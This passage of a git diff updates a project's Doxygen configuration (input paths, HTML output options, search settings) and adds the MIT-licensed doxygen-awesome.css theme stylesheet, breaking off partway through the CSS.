STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of # the path mentioned in the documentation of a class, which tells @@ -287,7 +290,7 @@ TYPEDEF_HIDES_STRUCT = NO # 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, # corresponding to a cache size of 2^16 = 65536 symbols -SYMBOL_CACHE_SIZE = 0 +#SYMBOL_CACHE_SIZE = 0 #--------------------------------------------------------------------------- # Build related configuration options @@ -448,7 +451,7 @@ GENERATE_TODOLIST = NO # disable (NO) the test list. This list is created by putting \test # commands in the documentation. -GENERATE_TESTLIST = YES +GENERATE_TESTLIST = NO # The GENERATE_BUGLIST tag can be used to enable (YES) or # disable (NO) the bug list. This list is created by putting \bug @@ -487,7 +490,7 @@ SHOW_USED_FILES = YES # then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy # in the documentation. The default is NO. -SHOW_DIRECTORIES = YES +#SHOW_DIRECTORIES = YES # Set the SHOW_FILES tag to NO to disable the generation of the Files page. # This will remove the Files entry from the Quick Index and from the @@ -571,7 +574,7 @@ WARN_FORMAT = "$file:$line: $text" # and error messages should be written. If left blank the output is written # to stderr. -WARN_LOGFILE = doxygen_warnings.log +WARN_LOGFILE = build/html/doxygen_warnings.log #--------------------------------------------------------------------------- # configuration options related to the input files @@ -582,7 +585,7 @@ WARN_LOGFILE = doxygen_warnings.log # directories like "/usr/src/myproject". Separate the files or directories # with spaces. -INPUT = ../../htdocs ../../scripts +INPUT = htdocs scripts # This tag can be used to specify the character encoding of the source files # that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is @@ -611,7 +614,7 @@ RECURSIVE = YES # excluded from the INPUT source files. This way you can easily exclude a # subdirectory from a directory tree whose root is specified with the INPUT tag. -EXCLUDE = ../../build ../../dev ../../doc ../../document ../../documents ../../htdocs/conf/conf.php ../../htdocs/custom ../../htdocs/document ../../htdocs/documents ../../htdocs/includes +EXCLUDE = build dev doc document documents htdocs/conf/conf.php htdocs/custom htdocs/document htdocs/documents htdocs/includes htdocs/install/doctemplates # The EXCLUDE_SYMLINKS tag can be used select whether or not files or # directories that are symbolic links (a Unix filesystem feature) are excluded @@ -625,7 +628,7 @@ EXCLUDE_SYMLINKS = YES # against the file with absolute path, so to exclude all test directories # for example use the pattern */test/* -EXCLUDE_PATTERNS = */CVS/* *google* *pibarcode* +EXCLUDE_PATTERNS = */CVS/* # The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names # (namespaces, classes, functions, etc.) that should be excluded from the @@ -639,27 +642,27 @@ EXCLUDE_SYMBOLS = # directories that contain example code fragments that are included (see # the \include command). -EXAMPLE_PATH = ../../htdocs/modulebuilder/template +#EXAMPLE_PATH = htdocs/modulebuilder/template # If the value of the EXAMPLE_PATH tag contains directories, you can use the # EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank all files are included. -EXAMPLE_PATTERNS = *.php +#EXAMPLE_PATTERNS = *.php # If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be # searched for input files to be used with the \include or \dontinclude # commands irrespective of the value of the RECURSIVE tag. # Possible values are YES and NO. If left blank NO is used. -EXAMPLE_RECURSIVE = NO +#EXAMPLE_RECURSIVE = NO # The IMAGE_PATH tag can be used to specify one or more files or # directories that contain image that are included in the documentation (see # the \image command). -IMAGE_PATH = ../../doc/images +IMAGE_PATH = doc/images # The INPUT_FILTER tag can be used to specify a program that doxygen should # invoke to filter for each input file. Doxygen will invoke the filter program @@ -762,7 +765,7 @@ ALPHABETICAL_INDEX = YES # the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns # in which this list will be split (can be a number in the range [1..20]) -COLS_IN_ALPHA_INDEX = 5 +#COLS_IN_ALPHA_INDEX = 5 # In case all classes in a project start with a common prefix, all # classes will be put under the same header in the alphabetical index. @@ -775,14 +778,16 @@ IGNORE_PREFIX = # configuration options related to the HTML output #--------------------------------------------------------------------------- -# If the GENERATE_HTML tag is set to YES (the default) Doxygen will -# generate HTML output. +# If the GENERATE_HTML tag is set to YES, doxygen will generate HTML output +# The default value is: YES. GENERATE_HTML = YES -# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `html' will be used as the default path. +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. If a +# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of +# it. +# The default directory is: html. +# This tag requires that the tag GENERATE_HTML is set to YES. HTML_OUTPUT = html @@ -797,14 +802,14 @@ HTML_FILE_EXTENSION = .html # standard header. # Does not work with 1.7.3 -#HTML_HEADER = doxygen_header.html +#HTML_HEADER = build/doxygen/doxygen_header.html # The HTML_FOOTER tag can be used to specify a personal HTML footer for # each generated HTML page. If it is left blank doxygen will generate a # standard footer. # Does not work with 1.7.3 -HTML_FOOTER = doxygen_footer.html +HTML_FOOTER = build/doxygen/doxygen_footer.html # The HTML_STYLESHEET tag can be used to specify a user-defined cascading # style sheet that is used by each HTML page. It can be used to @@ -850,7 +855,18 @@ HTML_TIMESTAMP = YES # files or namespaces will be aligned in HTML using tables. If set to # NO a bullet list will be used. -HTML_ALIGN_MEMBERS = YES +#HTML_ALIGN_MEMBERS = YES + +# If the HTML_DYNAMIC_MENUS tag is set to YES then the generated HTML +# documentation will contain a main index with vertical navigation menus that +# are dynamically created via Javascript. If disabled, the navigation index will +# consists of multiple levels of tabs that are statically embedded in every HTML +# page. Disable this option to support browsers that do not have Javascript, +# like the Qt help browser. +# The default value is: YES. +# This tag requires that the tag GENERATE_HTML is set to YES. + +HTML_DYNAMIC_MENUS = NO # If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML # documentation will contain sections that can be hidden and shown after the @@ -858,7 +874,7 @@ HTML_ALIGN_MEMBERS = YES # JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox # Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). -HTML_DYNAMIC_SECTIONS = YES +HTML_DYNAMIC_SECTIONS = NO # If the GENERATE_DOCSET tag is set to YES, additional index files # will be generated that can be used as input for Apple's Xcode 3 @@ -1003,7 +1019,7 @@ QHG_LOCATION = # the ECLIPSE_DOC_ID value. After copying Eclipse needs to be restarted before # the help appears. -GENERATE_ECLIPSEHELP = YES +GENERATE_ECLIPSEHELP = NO # A unique identifier for the eclipse help plugin. When installing the plugin # the directory name containing the HTML and XML files should also have @@ -1035,7 +1051,7 @@ GENERATE_TREEVIEW = NO # By enabling USE_INLINE_TREES, doxygen will generate the Groups, Directories, # and Class Hierarchy pages using a tree view instead of an ordered list. -USE_INLINE_TREES = NO +#USE_INLINE_TREES = NO # If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be # used to set the initial width (in pixels) of the frame in which the tree @@ -1072,7 +1088,7 @@ FORMULA_TRANSPARENT = YES # typically be disabled. For large projects the javascript based search engine # can be slow, then enabling SERVER_BASED_SEARCH may provide a better solution. -SEARCHENGINE = NO +SEARCHENGINE = YES # When the SERVER_BASED_SEARCH tag is enabled the search engine will be # implemented using a PHP enabled web server instead of at the web client @@ -1082,7 +1098,7 @@ SEARCHENGINE = NO # full text search. The disadvances is that it is more difficult to setup # and does not have live searching capabilities. -SERVER_BASED_SEARCH = NO +SERVER_BASED_SEARCH = YES #--------------------------------------------------------------------------- # configuration options related to the LaTeX output @@ -1260,13 +1276,13 @@ XML_OUTPUT = xml # which can be used by a validating XML parser to check the # syntax of the XML files. -XML_SCHEMA = +#XML_SCHEMA = # The XML_DTD tag can be used to specify an XML DTD, # which can be used by a validating XML parser to check the # syntax of the XML files. -XML_DTD = +#XML_DTD = # If the XML_PROGRAMLISTING tag is set to YES Doxygen will # dump the program listings (including syntax highlighting @@ -1431,7 +1447,7 @@ EXTERNAL_GROUPS = YES # The PERL_PATH should be the absolute path and name of the perl script # interpreter (i.e. the result of `which perl'). -PERL_PATH = /usr/bin/perl +#PERL_PATH = /usr/bin/perl #--------------------------------------------------------------------------- # Configuration options related to the dot tool @@ -1453,7 +1469,7 @@ CLASS_DIAGRAMS = NO # the mscgen tool resides. If left empty the tool is assumed to be found in the # default search path. -MSCGEN_PATH = +#MSCGEN_PATH = # If set to YES, the inheritance and collaboration graphs will hide # inheritance and usage relations if the target is undocumented @@ -1485,7 +1501,7 @@ DOT_NUM_THREADS = 0 # DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory # containing the font. -DOT_FONTNAME = FreeSans.ttf +#DOT_FONTNAME = FreeSans.ttf # The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. # The default size is 10pt. @@ -1634,3 +1650,7 @@ GENERATE_LEGEND = YES # the various graphs. DOT_CLEANUP = YES + + +FULL_SIDEBAR = NO +HTML_EXTRA_STYLESHEET = build/doxygen/doxygen-awesome.css diff --git a/build/doxygen/doxygen-awesome.css b/build/doxygen/doxygen-awesome.css new file mode 100644 index 00000000000..0b1c8c20892 --- /dev/null +++ b/build/doxygen/doxygen-awesome.css @@ -0,0 +1,2413 @@ +/** + +Doxygen Awesome +https://github.com/jothepro/doxygen-awesome-css + +MIT License + +Copyright (c) 2021 - 2022 jothepro + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +*/ + +html { + /* primary theme color. This will affect the entire websites color scheme: links, arrows, labels, ... */ + --primary-color: #1779c4; + --primary-dark-color: #335c80; + --primary-light-color: #70b1e9; + + /* page base colors */ + --page-background-color: #ffffff; + --page-foreground-color: #2f4153; + --page-secondary-foreground-color: #6f7e8e; + + /* color for all separators on the website: hr, borders, ... */ + --separator-color: #dedede; + + /* border radius for all rounded components. Will affect many components, like dropdowns, memitems, codeblocks, ... */ + --border-radius-large: 8px; + --border-radius-small: 4px; + --border-radius-medium: 6px; + + /* default spacings. Most components reference these values for spacing, to provide uniform spacing on the page. */ + --spacing-small: 5px; + --spacing-medium: 10px; + --spacing-large: 16px; + + /* default box shadow used for raising an element above the normal content. Used in dropdowns, search result, ... */ + --box-shadow: 0 2px 8px 0 rgba(0,0,0,.075); + + --odd-color: rgba(0,0,0,.028); + + /* font-families. will affect all text on the website + * font-family: the normal font for text, headlines, menus + * font-family-monospace: used for preformatted text in memtitle, code, fragments + */ + --font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif; + --font-family-monospace: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace; + + /* font sizes */ + --page-font-size: 15.6px; + --navigation-font-size: 14.4px; + --toc-font-size: 13.4px; + --code-font-size: 14px; /* affects code, fragment */ + --title-font-size: 22px; + + /* content text properties. These only affect the page content, not the navigation or any other ui elements */ + --content-line-height: 27px; + /* The content is centered and constraint in it's width. To make the content fill the whole page, set the variable to auto.*/ + --content-maxwidth: 1050px; + --table-line-height: 24px; + --toc-sticky-top: var(--spacing-medium); + --toc-width: 200px; + --toc-max-height: calc(100vh - 2 * var(--spacing-medium) - 85px); + + /* colors for various content boxes: @warning, @note, @deprecated @bug */ + --warning-color: #f8d1cc; + --warning-color-dark: #b61825; + --warning-color-darker: #75070f; + --note-color: #faf3d8; + --note-color-dark: #f3a600; + --note-color-darker: #5f4204; + --todo-color: #e4f3ff; + --todo-color-dark: #1879C4; + --todo-color-darker: #274a5c; + --deprecated-color: #ecf0f3; + --deprecated-color-dark: #5b6269; + --deprecated-color-darker: #43454a; + --bug-color: #e4dafd; + --bug-color-dark: #5b2bdd; + --bug-color-darker: #2a0d72; + --invariant-color: #d8f1e3; + --invariant-color-dark: #44b86f; + --invariant-color-darker: #265532; + + /* blockquote colors */ + --blockquote-background: #f8f9fa; + --blockquote-foreground: #636568; + + /* table colors */ + --tablehead-background: #f1f1f1; + --tablehead-foreground: var(--page-foreground-color); + + /* menu-display: block | none + * Visibility of the top navigation on screens >= 768px. On smaller screen the menu is always visible. + * `GENERATE_TREEVIEW` MUST be enabled! + */ + --menu-display: block; + + --menu-focus-foreground: var(--page-background-color); + --menu-focus-background: var(--primary-color); + --menu-selected-background: rgba(0,0,0,.05); + + + --header-background: var(--page-background-color); + --header-foreground: var(--page-foreground-color); + + /* searchbar colors */ + --searchbar-background: var(--side-nav-background); + --searchbar-foreground: var(--page-foreground-color); + + /* searchbar size + * (`searchbar-width` is only applied on screens >= 768px. + * on smaller screens the searchbar will always fill the entire screen width) */ + --searchbar-height: 33px; + --searchbar-width: 210px; + --searchbar-border-radius: var(--searchbar-height); + + /* code block colors */ + --code-background: #f5f5f5; + --code-foreground: var(--page-foreground-color); + + /* fragment colors */ + --fragment-background: #F8F9FA; + --fragment-foreground: #37474F; + --fragment-keyword: #bb6bb2; + --fragment-keywordtype: #8258b3; + --fragment-keywordflow: #d67c3b; + --fragment-token: #438a59; + --fragment-comment: #969696; + --fragment-link: #5383d6; + --fragment-preprocessor: #46aaa5; + --fragment-linenumber-color: #797979; + --fragment-linenumber-background: #f4f4f5; + --fragment-linenumber-border: #e3e5e7; + --fragment-lineheight: 20px; + + /* sidebar navigation (treeview) colors */ + --side-nav-background: #fbfbfb; + --side-nav-foreground: var(--page-foreground-color); + --side-nav-arrow-opacity: 0; + --side-nav-arrow-hover-opacity: 0.9; + + --toc-background: var(--side-nav-background); + --toc-foreground: var(--side-nav-foreground); + + /* height of an item in any tree / collapsable table */ + --tree-item-height: 30px; + + --memname-font-size: var(--code-font-size); + --memtitle-font-size: 18px; + + --webkit-scrollbar-size: 7px; + --webkit-scrollbar-padding: 4px; + --webkit-scrollbar-color: var(--separator-color); +} + +@media screen and (max-width: 767px) { + html { + --page-font-size: 16px; + --navigation-font-size: 16px; + --toc-font-size: 15px; + --code-font-size: 15px; /* affects code, fragment */ + --title-font-size: 22px; + } +} + +@media (prefers-color-scheme: dark) { + html:not(.light-mode) { + color-scheme: dark; + + --primary-color: #1982d2; + --primary-dark-color: #86a9c4; + --primary-light-color: #4779ac; + + --box-shadow: 0 2px 8px 0 rgba(0,0,0,.35); + + --odd-color: rgba(100,100,100,.06); + + --menu-selected-background: rgba(0,0,0,.4); + + --page-background-color: #1C1D1F; + --page-foreground-color: #d2dbde; + --page-secondary-foreground-color: #859399; + --separator-color: #38393b; + --side-nav-background: #252628; + + --code-background: #2a2c2f; + + --tablehead-background: #2a2c2f; + + --blockquote-background: #222325; + --blockquote-foreground: #7e8c92; + + --warning-color: #2e1917; + --warning-color-dark: #ad2617; + --warning-color-darker: #f5b1aa; + --note-color: #3b2e04; + --note-color-dark: #f1b602; + --note-color-darker: #ceb670; + --todo-color: #163750; + --todo-color-dark: #1982D2; + --todo-color-darker: #dcf0fa; + --deprecated-color: #2e323b; + --deprecated-color-dark: #738396; + --deprecated-color-darker: #abb0bd; + --bug-color: #2a2536; + --bug-color-dark: #7661b3; + --bug-color-darker: #ae9ed6; + --invariant-color: #303a35; + --invariant-color-dark: #76ce96; + --invariant-color-darker: #cceed5; + + --fragment-background: #282c34; + --fragment-foreground: #dbe4eb; + --fragment-keyword: #cc99cd; + --fragment-keywordtype: #ab99cd; + --fragment-keywordflow: #e08000; + --fragment-token: #7ec699; + --fragment-comment: #999999; + --fragment-link: #98c0e3; + --fragment-preprocessor: #65cabe; + --fragment-linenumber-color: #cccccc; + --fragment-linenumber-background: #35393c; + --fragment-linenumber-border: #1f1f1f; + } +} + +/* dark mode variables are defined twice, to support both the dark-mode without and with doxygen-awesome-darkmode-toggle.js */ +html.dark-mode { + color-scheme: dark; + + --primary-color: #1982d2; + --primary-dark-color: #86a9c4; + --primary-light-color: #4779ac; + + --box-shadow: 0 2px 8px 0 rgba(0,0,0,.30); + + --odd-color: rgba(100,100,100,.06); + + --menu-selected-background: rgba(0,0,0,.4); + + --page-background-color: #1C1D1F; + --page-foreground-color: #d2dbde; + --page-secondary-foreground-color: #859399; + --separator-color: #38393b; + --side-nav-background: #252628; + + --code-background: #2a2c2f; + + --tablehead-background: #2a2c2f; + + --blockquote-background: #222325; + --blockquote-foreground: #7e8c92; + + --warning-color: #2e1917; + --warning-color-dark: #ad2617; + --warning-color-darker: #f5b1aa; + --note-color: #3b2e04; + --note-color-dark: #f1b602; + --note-color-darker: #ceb670; + --todo-color: #163750; + --todo-color-dark: #1982D2; + --todo-color-darker: #dcf0fa; + --deprecated-color: #2e323b; + --deprecated-color-dark: #738396; + --deprecated-color-darker: #abb0bd; + --bug-color: #2a2536; + --bug-color-dark: #7661b3; + --bug-color-darker: #ae9ed6; + --invariant-color: #303a35; + --invariant-color-dark: #76ce96; + --invariant-color-darker: #cceed5; + + --fragment-background: #282c34; + --fragment-foreground: #dbe4eb; + --fragment-keyword: #cc99cd; + --fragment-keywordtype: #ab99cd; + --fragment-keywordflow: #e08000; + --fragment-token: #7ec699; + --fragment-comment: #999999; + --fragment-link: #98c0e3; + --fragment-preprocessor: #65cabe; + --fragment-linenumber-color: #cccccc; + --fragment-linenumber-background: #35393c; + --fragment-linenumber-border: #1f1f1f; +} + +body { + color: var(--page-foreground-color); + background-color: var(--page-background-color); + font-size: var(--page-font-size); +} + +body, table, div, p, dl, #nav-tree .label, .title, +.sm-dox a, .sm-dox a:hover, .sm-dox a:focus, #projectname, +.SelectItem, #MSearchField, .navpath li.navelem a, +.navpath li.navelem a:hover, p.reference, p.definition { + font-family: var(--font-family); +} + +h1, h2, h3, h4, h5 { + margin-top: .9em; + font-weight: 600; + line-height: initial; +} + +p, div, table, dl, p.reference, p.definition { + font-size: var(--page-font-size); +} + +p.reference, p.definition { + color: var(--page-secondary-foreground-color); +} + +a:link, a:visited, a:hover, a:focus, a:active { + color: var(--primary-color) !important; + font-weight: 500; +} + +a.anchor { + scroll-margin-top: var(--spacing-large); + display: block; +} + +/* + Title and top navigation + */ + +#top { + background: var(--header-background); + border-bottom: 1px solid var(--separator-color); +} + +@media screen and (min-width: 768px) { + #top { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + align-items: center; + } +} + +#main-nav { + flex-grow: 5; + padding: var(--spacing-small) var(--spacing-medium); +} + +#titlearea { + width: auto; + padding: var(--spacing-medium) var(--spacing-large); + background: none; + color: var(--header-foreground); + border-bottom: none; +} + +@media screen and (max-width: 767px) { + #titlearea { + padding-bottom: var(--spacing-small); + } +} + +#titlearea table tbody tr { + height: auto !important; +} + +#projectname { + font-size: var(--title-font-size); + font-weight: 600; +} + +#projectnumber { + font-family: inherit; + font-size: 60%; +} + +#projectbrief { + font-family: inherit; + font-size: 80%; +} + +#projectlogo { + vertical-align: middle; +} + +#projectlogo img { + max-height: calc(var(--title-font-size) * 2); + margin-right: var(--spacing-small); +} + +.sm-dox, .tabs, .tabs2, .tabs3 { + background: none; + padding: 0; +} + +.tabs, .tabs2, .tabs3 { + border-bottom: 1px solid var(--separator-color); + margin-bottom: -1px; +} + +.main-menu-btn-icon, .main-menu-btn-icon:before, .main-menu-btn-icon:after { + background: var(--page-secondary-foreground-color); +} + +@media screen and (max-width: 767px) { + .sm-dox a span.sub-arrow { + background: var(--code-background); + } + + #main-menu a.has-submenu span.sub-arrow { + color: var(--page-secondary-foreground-color); + border-radius: var(--border-radius-medium); + } + + #main-menu a.has-submenu:hover span.sub-arrow { + color: var(--page-foreground-color); + } +} + +@media screen and (min-width: 768px) { + .sm-dox li, .tablist li { + display: var(--menu-display); + } + + .sm-dox a span.sub-arrow { + border-color: var(--header-foreground) transparent transparent transparent; + } + + .sm-dox a:hover span.sub-arrow { + border-color: var(--menu-focus-foreground) transparent transparent transparent; + } + + .sm-dox ul a span.sub-arrow { + border-color: transparent transparent transparent var(--page-foreground-color); + } + + .sm-dox ul a:hover span.sub-arrow { + border-color: transparent transparent transparent var(--menu-focus-foreground); + } +} + +.sm-dox ul { + background: var(--page-background-color); + box-shadow: var(--box-shadow); + border: 1px solid var(--separator-color); + border-radius: var(--border-radius-medium) !important; + padding: var(--spacing-small); + animation: ease-out 150ms slideInMenu; +} + +@keyframes slideInMenu { + from { + opacity: 0; + transform: translate(0px, -2px); + } + + to { + opacity: 1; + transform: translate(0px, 0px); + } +} + +.sm-dox ul a { + color: var(--page-foreground-color) !important; + background: var(--page-background-color); + font-size: var(--navigation-font-size); +} + +.sm-dox>li>ul:after { + border-bottom-color: var(--page-background-color) !important; +} + +.sm-dox>li>ul:before { + border-bottom-color: var(--separator-color) !important; +} + +.sm-dox ul a:hover, .sm-dox ul a:active, .sm-dox ul a:focus { + font-size: var(--navigation-font-size) !important; + color: var(--menu-focus-foreground) !important; + text-shadow: none; + background-color: var(--menu-focus-background); + border-radius: var(--border-radius-small) !important; +} + +.sm-dox a, .sm-dox a:focus, .tablist li, .tablist li a, .tablist li.current a { + text-shadow: none; + background: transparent; + background-image: none !important; + color: var(--header-foreground) !important; + font-weight: normal; + font-size: var(--navigation-font-size); + border-radius: var(--border-radius-small) !important; +} + +.sm-dox a:focus { + outline: auto; +} + +.sm-dox a:hover, .sm-dox a:active, .tablist li a:hover { + text-shadow: none; + font-weight: normal; + background: var(--menu-focus-background); + color: var(--menu-focus-foreground) !important; + border-radius: var(--border-radius-small) !important; + font-size: var(--navigation-font-size); +} + +.tablist li.current { + border-radius: var(--border-radius-small); + background: var(--menu-selected-background); +} + +.tablist li { + margin: var(--spacing-small) 0 var(--spacing-small) var(--spacing-small); +} + +.tablist a { + padding: 0 var(--spacing-large); +} + + +/* + Search box + */ + +#MSearchBox { + height: var(--searchbar-height); + background: var(--searchbar-background); + border-radius: var(--searchbar-border-radius); + border: 1px solid var(--separator-color); + overflow: hidden; + width: var(--searchbar-width); + position: relative; + box-shadow: none; + display: block; + margin-top: 0; +} + +/* until Doxygen 1.9.4 */ +.left img#MSearchSelect { + left: 0; + user-select: none; + padding-left: 8px; +} + +/* Doxygen 1.9.5 */ +.left span#MSearchSelect { + left: 0; + user-select: none; + margin-left: 8px; + padding: 0; +} + +.left #MSearchSelect[src$=".png"] { + padding-left: 0 +} + +.SelectionMark { + user-select: none; +} + +.tabs .left #MSearchSelect { + padding-left: 0; +} + +.tabs #MSearchBox { + position: absolute; + right: var(--spacing-medium); +} + +@media screen and (max-width: 767px) { + .tabs #MSearchBox { + position: relative; + right: 0; + margin-left: var(--spacing-medium); + margin-top: 0; + } +} + +#MSearchSelectWindow, #MSearchResultsWindow { + z-index: 9999; +} + +#MSearchBox.MSearchBoxActive { + border-color: var(--primary-color); + box-shadow: inset 0 0 0 1px var(--primary-color); +} + +#main-menu > li:last-child { + margin-right: 0; +} + +@media screen and (max-width: 767px) { + #main-menu > li:last-child { + height: 50px; + } +} + +#MSearchField { + font-size: var(--navigation-font-size); + height: calc(var(--searchbar-height) - 2px); + background: transparent; + width: calc(var(--searchbar-width) - 64px); +} + +.MSearchBoxActive #MSearchField { + color: var(--searchbar-foreground); +} + +#MSearchSelect { + top: calc(calc(var(--searchbar-height) / 2) - 11px); +} + +#MSearchBox span.left, #MSearchBox span.right { + background: none; + background-image: none; +} + +#MSearchBox span.right { + padding-top: calc(calc(var(--searchbar-height) / 2) - 12px); + position: absolute; + right: var(--spacing-small); +} + +.tabs #MSearchBox span.right { + top: calc(calc(var(--searchbar-height) / 2) - 12px); +} + +@keyframes slideInSearchResults { + from { + opacity: 0; + transform: translate(0, 15px); + } + + to { + opacity: 1; + transform: translate(0, 20px); + } +} + +#MSearchResultsWindow { + left: auto !important; + right: var(--spacing-medium); + border-radius: var(--border-radius-large); + border: 1px solid var(--separator-color); + transform: translate(0, 20px); + box-shadow: var(--box-shadow); + animation: ease-out 280ms slideInSearchResults; + background: var(--page-background-color); +} + +iframe#MSearchResults { + margin: 4px; +} + +iframe { + color-scheme: normal; +} + +@media (prefers-color-scheme: dark) { + html:not(.light-mode) iframe#MSearchResults { + filter: invert() hue-rotate(180deg); + } +} + +html.dark-mode iframe#MSearchResults { + filter: invert() hue-rotate(180deg); +} + +#MSearchResults .SRPage { + background-color: transparent; +} + +#MSearchResults .SRPage .SREntry { + font-size: 10pt; + padding: var(--spacing-small) var(--spacing-medium); +} + +#MSearchSelectWindow { + border: 1px solid var(--separator-color); + border-radius: var(--border-radius-medium); + box-shadow: var(--box-shadow); + background: var(--page-background-color); + padding-top: var(--spacing-small); + padding-bottom: var(--spacing-small); +} + +#MSearchSelectWindow a.SelectItem { + font-size: var(--navigation-font-size); + line-height: var(--content-line-height); + margin: 0 var(--spacing-small); + border-radius: var(--border-radius-small); + color: var(--page-foreground-color) !important; + font-weight: normal; +} + +#MSearchSelectWindow a.SelectItem:hover { + background: var(--menu-focus-background); + color: var(--menu-focus-foreground) !important; +} + +@media screen and (max-width: 767px) { + #MSearchBox { + margin-top: var(--spacing-medium); + margin-bottom: var(--spacing-medium); + width: calc(100vw - 30px); + } + + #main-menu > li:last-child { + float: none !important; + } + + #MSearchField { + width: calc(100vw - 110px); + } + + @keyframes slideInSearchResultsMobile { + from { + opacity: 0; + transform: translate(0, 15px); + } + + to { + opacity: 1; + transform: translate(0, 20px); + } + } + + #MSearchResultsWindow { + left: var(--spacing-medium) !important; + right: var(--spacing-medium); + overflow: auto; + transform: translate(0, 20px); + animation: ease-out 280ms slideInSearchResultsMobile; + width: auto !important; + } + + /* + * Overwrites for fixing the searchbox on mobile in doxygen 1.9.2 + */ + label.main-menu-btn ~ #searchBoxPos1 { + top: 3px !important; + right: 6px !important; + left: 45px; + display: flex; + } + + label.main-menu-btn ~ #searchBoxPos1 > #MSearchBox { + margin-top: 0; + margin-bottom: 0; + flex-grow: 2; + float: left; + } +} + +/* + Tree view + */ + +#side-nav { + padding: 0 !important; + background: var(--side-nav-background); +} + +@media screen and (max-width: 767px) { + #side-nav { + display: none; + } + + #doc-content { + margin-left: 0 !important; + } +} + +#nav-tree { + background: transparent; +} + +#nav-tree .label { + font-size: var(--navigation-font-size); +} + +#nav-tree .item { + height: var(--tree-item-height); + line-height: var(--tree-item-height); +} + +#nav-sync { + bottom: 12px; + right: 12px; + top: auto !important; + user-select: none; +} + +#nav-tree .selected { + text-shadow: none; + background-image: none; + background-color: transparent; + position: relative; +} + +#nav-tree .selected::after { + content: ""; + position: absolute; + top: 1px; + bottom: 1px; + left: 0; + width: 4px; + border-radius: 0 var(--border-radius-small) var(--border-radius-small) 0; + background: var(--primary-color); +} + + +#nav-tree a { + color: var(--side-nav-foreground) !important; + font-weight: normal; +} + +#nav-tree a:focus { + outline-style: auto; +} + +#nav-tree .arrow { + opacity: var(--side-nav-arrow-opacity); +} + +.arrow { + color: inherit; + cursor: pointer; + font-size: 45%; + vertical-align: middle; + margin-right: 2px; + font-family: serif; + height: auto; + text-align: right; +} + +#nav-tree div.item:hover .arrow, #nav-tree a:focus .arrow { + opacity: var(--side-nav-arrow-hover-opacity); +} + +#nav-tree .selected a { + color: var(--primary-color) !important; + font-weight: bolder; + font-weight: 600; +} + +.ui-resizable-e { + background: var(--separator-color); + width: 1px; +} + +/* + Contents + */ + +div.header { + border-bottom: 1px solid var(--separator-color); + background-color: var(--page-background-color); + background-image: none; +} + +@media screen and (min-width: 1000px) { + #doc-content > div > div.contents, + .PageDoc > div.contents { + display: flex; + flex-direction: row-reverse; + flex-wrap: nowrap; + align-items: flex-start; + } + + div.contents .textblock { + min-width: 200px; + flex-grow: 1; + } +} + +div.contents, div.header .title, div.header .summary { + max-width: var(--content-maxwidth); +} + +div.contents, div.header .title { + line-height: initial; + margin: calc(var(--spacing-medium) + .2em) auto var(--spacing-medium) auto; +} + +div.header .summary { + margin: var(--spacing-medium) auto 0 auto; +} + +div.headertitle { + padding: 0; +} + +div.header .title { + font-weight: 600; + font-size: 225%; + padding: var(--spacing-medium) var(--spacing-large); + word-break: break-word; +} + +div.header .summary { + width: auto; + display: block; + float: none; + padding: 0 var(--spacing-large); +} + +td.memSeparator { + border-color: var(--separator-color); +} + +span.mlabel { + background: var(--primary-color); + border: none; + padding: 4px 9px; + border-radius: 12px; + margin-right: var(--spacing-medium); +} + +span.mlabel:last-of-type { + margin-right: 2px; +} + +div.contents { + padding: 0 var(--spacing-large); +} + +div.contents p, div.contents li { + line-height: var(--content-line-height); +} + +div.contents div.dyncontent { + margin: var(--spacing-medium) 0; +} + +@media (prefers-color-scheme: dark) { + html:not(.light-mode) div.contents div.dyncontent img, + html:not(.light-mode) div.contents center img, + html:not(.light-mode) div.contents > table img, + html:not(.light-mode) div.contents div.dyncontent iframe, + html:not(.light-mode) div.contents center iframe, + html:not(.light-mode) div.contents table iframe { + filter: hue-rotate(180deg) invert(); + } +} + +html.dark-mode div.contents div.dyncontent img, +html.dark-mode div.contents center img, +html.dark-mode div.contents > table img, +html.dark-mode div.contents div.dyncontent iframe, +html.dark-mode div.contents center iframe, +html.dark-mode div.contents table iframe { + filter: hue-rotate(180deg) invert(); +} + +h2.groupheader { + border-bottom: 0px; + color: var(--page-foreground-color); + box-shadow: + 100px 0 var(--page-background-color), + -100px 0 var(--page-background-color), + 100px 